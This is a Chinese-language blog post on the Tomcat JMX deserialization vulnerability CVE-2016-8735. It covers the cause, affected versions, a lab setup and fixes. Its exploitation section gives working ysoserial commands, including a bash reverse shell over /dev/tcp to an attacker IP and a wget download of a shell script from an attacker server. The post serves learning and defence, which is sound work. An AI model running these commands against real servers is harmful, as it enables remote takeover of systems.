深入解析Tomcat反序列化漏洞(CVE-2016-8735):从原理到实战利用

📅 发布时间:2026/7/8 14:24:05 👁️ 浏览次数:
深入解析Tomcat反序列化漏洞(CVE-2016-8735):从原理到实战利用
1. 漏洞背景与核心原理为什么一个监听器能导致远程代码执行大家好我是老张在安全圈里摸爬滚打了十几年见过形形色色的漏洞但像CVE-2016-8735这种因为“偷懒”而引发的远程代码执行漏洞还是让我印象深刻。简单来说这个漏洞的根源在于Tomcat团队“抄作业”没抄全结果给自己挖了个大坑。要理解这个坑我们得先聊聊JMX。JMX全称Java Management Extensions你可以把它想象成Java应用的“仪表盘”。运维人员通过这个仪表盘可以远程查看Tomcat的运行状态比如内存用了多少、线程池忙不忙非常方便。Tomcat为了提供这个“仪表盘”功能就使用了一个叫JmxRemoteLifecycleListener的组件来开启JMX远程监控。问题就出在这个监听器上。早在2016年Oracle官方就发现他们JDK里用于JMX远程通信的组件存在一个反序列化漏洞编号CVE-2016-3427并迅速发布了补丁。这个漏洞的机理是攻击者可以构造恶意的序列化数据通过JMX端口发送给服务端。服务端在反序列化这些数据也就是把一串字节流还原成Java对象时如果没有严格检查数据的合法性就可能执行数据中夹带的恶意代码。按理说Tomcat用了别人的代码别人打了补丁自己应该马上跟进更新对吧但当时Tomcat的代码库中这个JmxRemoteLifecycleListener相关的部分并没有及时同步Oracle的修复。这就好比你家大门用的是一把有已知缺陷的锁造锁厂已经出了新锁芯但你因为嫌麻烦没去换结果小偷拿着老钥匙就能轻松打开你家门。更关键的是这个“有缺陷的锁”默认还不是开着的。漏洞利用有一个非常关键的前提目标Tomcat服务器必须主动配置并开启了JmxRemoteLifecycleListener监听。通常这发生在运维人员为了监控目的手动在conf/server.xml文件里添加了相关配置并且开放了对应的RMI端口默认是10001和10002。如果没开这个功能漏洞就无法被直接利用。所以这个漏洞的普遍性没那么高但一旦在公网发现开启了此功能的服务器那就是一个非常危险的远程攻击入口。2. 影响范围与漏洞环境搭建这个漏洞影响的范围相当广涵盖了当时几乎所有的主流Tomcat版本。如果你手头的项目还在用老版本的Tomcat可得好好检查一下Apache Tomcat 9.x系列9.0.0.M1 到 9.0.0.M11Apache Tomcat 8.5.x系列8.5.0 到 8.5.6Apache Tomcat 8.0.x系列8.0.0.RC1 到 8.0.38Apache Tomcat 7.x系列7.0.0 到 7.0.72Apache Tomcat 6.x系列6.0.0 到 6.0.47看到这个列表你可能觉得老掉牙的6.0和7.0应该没人用了吧但现实是很多传统企业、政府单位的内网系统由于历史原因和稳定性考虑依然在运行这些老版本。我在做渗透测试项目时就遇到过不下五次。为了让大家能亲手复现和理解这个漏洞我们最好自己动手搭一个靶场。切记所有实验请在虚拟机或隔离的测试环境中进行切勿在生产环境尝试我推荐使用Apache Tomcat 8.5.2和JDK 1.7.0_80的组合这个环境比较经典复现成功率也高。首先去Apache官网下载Tomcat 8.5.2的压缩包并解压。接着我们需要准备几个关键的JAR包catalina-jmx-remote.jar这是Tomcat开启JMX远程支持所需的包。你可以在Apache的归档仓库里找到它例如https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.2/bin/extras/catalina-jmx-remote.jar。groovy-2.3.9.jar这是漏洞利用链利用Groovy类所依赖的库。可以从Maven中央仓库下载。ysoserial.jar这是一个著名的Java反序列化漏洞利用工具集我们用它来生成攻击载荷Payload。可以从其GitHub发布页面获取。把下载好的catalina-jmx-remote.jar和groovy-2.3.9.jar放到Tomcat的lib目录下。然后就是关键的配置环节了。2.1 配置漏洞环境打开Tomcat的配置文件conf/server.xml我们需要添加JMX远程监听器。找到Server标签部分在里面添加如下配置大约在第30行附近Listener classNameorg.apache.catalina.mbeans.JmxRemoteLifecycleListener rmiRegistryPortPlatform10001 rmiServerPortPlatform10002 /这段配置告诉Tomcat启动一个JmxRemoteLifecycleListener并在10001端口注册RMI服务在10002端口提供RMI服务通信。接下来我们需要修改启动脚本关闭JMX连接的安全认证和SSL这样我们后续的漏洞利用工具才能无障碍连接。编辑bin/catalina.batWindows或bin/catalina.shLinux。在文件中找到类似rem ----- Execute The Requested CommandWindows批处理注释或# ----- Execute The Requested CommandShell脚本注释的行。在这行注释的上方添加以下JVM启动参数对于catalina.batset CATALINA_OPTS-Dcom.sun.management.jmxremote.sslfalse -Dcom.sun.management.jmxremote.authenticatefalse对于catalina.shCATALINA_OPTS-Dcom.sun.management.jmxremote.sslfalse -Dcom.sun.management.jmxremote.authenticatefalse这两个参数的意义非常关键-Dcom.sun.management.jmxremote.sslfalse表示禁用SSL加密通信-Dcom.sun.management.jmxremote.authenticatefalse表示禁用身份认证。在实际生产环境中绝对、永远不要这样配置这里只是为了复现漏洞的方便。一个安全的JMX配置必须启用强密码认证和SSL加密。配置完成后启动Tomcat。你可以通过命令netstat -an | findstr 10001Windows或netstat -tlnp | grep 10001Linux来检查10001和10002端口是否成功监听。如果看到这两个端口处于LISTEN状态恭喜你一个存在CVE-2016-8735漏洞的Tomcat环境就搭建好了。3. 漏洞利用实战从弹计算器到获取Shell环境准备好了我们来看看攻击者具体是怎么利用这个漏洞的。核心工具就是前面提到的ysoserial。它里面内置了多种针对不同Java库如CommonsCollections、Groovy、Jdk7u21等的反序列化利用链Gadget Chain。对于这个Tomcat漏洞我们通常使用Groovy1这条利用链。最经典的测试就是弹出一个计算器Windows或打开一个计算器程序Linux这能最直观地证明代码执行成功了。假设我们的靶机IP是192.168.1.100在攻击机上执行如下命令java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.1.100 10001 Groovy1 calc.exe命令分解一下java -cp ysoserial.jar用Java运行ysoserial.jar。ysoserial.exploit.RMIRegistryExploit指定使用ysoserial中的RMI注册表攻击模块。192.168.1.100 10001目标地址和JMX RMI注册表端口。Groovy1指定使用Groovy反序列化利用链。calc.exe要执行的系统命令Windows下是calc.exeLinux下可以是gnome-calculator或xcalc。如果靶机是Windows且漏洞存在你应该会看到计算器程序弹出来。这个过程背后发生了什么攻击者通过ysoserial将calc.exe这个命令利用Groovy库的特性构造了一段特殊的序列化字节流。这段字节流被发送到靶机的10001端口。Tomcat的JmxRemoteLifecycleListener在处理这个RMI请求时会反序列化接收到的数据。由于没有采用Oracle修复后的安全校验它忠实地还原了这段恶意字节流最终在还原过程中触发了命令执行。当然实战中攻击者不会只满足于弹个计算器。他们的目标通常是获取一个反向Shell从而完全控制服务器。这里以Linux靶机为例假设攻击者的IP是192.168.1.50监听端口是4444。第一步在攻击机上监听端口nc -lvnp 4444第二步构造Payload执行反向Shell命令。我们可以使用Bash、Python或Netcat等多种方式。这里用一个简单的Bash命令示例java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.1.100 10001 Groovy1 bash -c bash -i /dev/tcp/192.168.1.50/4444 01如果靶机环境比较干净没有nc或者bash反弹受限更稳妥的方式可能是分两步走先下载一个脚本再执行。例如攻击者可以在自己的VPS上放置一个Python反弹脚本shell.py然后执行# 第一步下载脚本 java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.1.100 10001 Groovy1 wget http://your-vps-ip/shell.py -O /tmp/s.py # 第二步执行脚本连接回攻击机 java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.1.100 10001 Groovy1 python /tmp/s.py 192.168.1.50 4444成功的话你的nc监听端就会收到一个来自靶机的Shell连接你可以在这个Shell里执行任意系统命令就像直接登录了服务器一样。我印象很深的一次内部攻防演练就是通过一个类似的JMX漏洞拿下了测试环境的一台服务器进而横向移动最终拿到了不少敏感数据。4. 漏洞深度分析与修复方案为什么这个漏洞能成功我们深入到代码层面简单看看。在存在漏洞的Tomcat版本中org.apache.catalina.mbeans.JmxRemoteLifecycleListener类在创建RMI连接器时没有对客户端传入的凭证Credential类型进行严格限制。在Oracle修复CVE-2016-3427的补丁中关键的一行是增加了对jmx.remote.rmi.server.credential.types环境变量的设置将其限定为String[]和String类型。而漏洞版本的Tomcat缺少这行限制导致攻击者可以传入任意类型的对象作为“凭证”。ysoserial的Groovy1利用链正是精心构造了一个特殊的对象作为凭证发送。服务器端在反序列化这个“凭证”对象时会触发Groovy库中一系列方法的连锁调用即利用链最终达到执行任意代码的目的。这就像你告诉门卫“送外卖的来了”结果门卫不看证件直接放行而这个“外卖员”实际上是个伪装的特工。那么如何修复这个漏洞呢方案非常明确1. 官方升级首选且最彻底将Tomcat升级到已修复的版本Apache Tomcat 9.0.0.M13 或更高版本Apache Tomcat 8.5.8 或更高版本Apache Tomcat 8.0.39 或更高版本Apache Tomcat 7.0.73 或更高版本Apache Tomcat 6.0.48 或更高版本升级后JmxRemoteLifecycleListener的代码会包含对凭证类型的检查从根本上堵住反序列化漏洞。2. 临时缓解措施如果因为某些原因无法立即升级可以采取以下措施关闭JmxRemoteLifecycleListener检查conf/server.xml移除或注释掉Listener classNameorg.apache.catalina.mbeans.JmxRemoteLifecycleListener ... /这行配置。这是最直接有效的方法如果你不需要JMX远程监控就关掉它。严格的网络访问控制如果必须使用JMX远程监控那么在防火墙或安全组策略中严格限制对JMX端口如10001, 10002的访问只允许可信的运维管理IP地址连接。启用强认证和SSL绝对不要像我们实验那样设置authenticatefalse和sslfalse。必须配置复杂的用户名密码并启用SSL加密通信防止凭证和通信内容被窃听。这能极大增加攻击者利用漏洞的难度。5. 防御思路与安全开发启示CVE-2016-8735虽然是一个老漏洞但它给我们带来的安全启示却历久弥新。首先供应链安全至关重要。你的系统安全不仅取决于自身代码还深度依赖所使用的第三方组件。必须建立完善的组件资产清单及时关注这些组件的安全公告并制定严格的漏洞修复和升级流程。像Tomcat这样因为未及时同步上游修复而引入漏洞的情况在开源世界中并不少见。其次“最小权限”和“默认安全”原则必须贯彻。像JMX这种强大的管理功能默认就不应该开启远程访问。即使开启也必须配合最强的安全配置认证加密网络白名单。很多运维人员为了图省事直接禁用认证这就相当于把自家大门的钥匙放在了门垫下面。对于开发者而言要深刻理解反序列化的危险性。不要轻易反序列化来自不可信来源的数据。如果业务必须使用可以考虑使用白名单机制限制可反序列化的类或者使用更安全的替代方案如JSON。在代码审计时要重点关注ObjectInputStream.readObject()这类方法的调用看其数据源是否可控。最后我想说的是安全是一个持续的过程而不是一次性的任务。定期进行漏洞扫描、渗透测试保持中间件和依赖库的更新建立纵深防御体系这些才是应对此类历史漏洞乃至未来新型攻击的根本之道。每次复盘像CVE-2016-8735这样的案例都不是为了教大家如何去攻击而是为了更透彻地理解攻击原理从而能更牢固地筑起防御的城墙。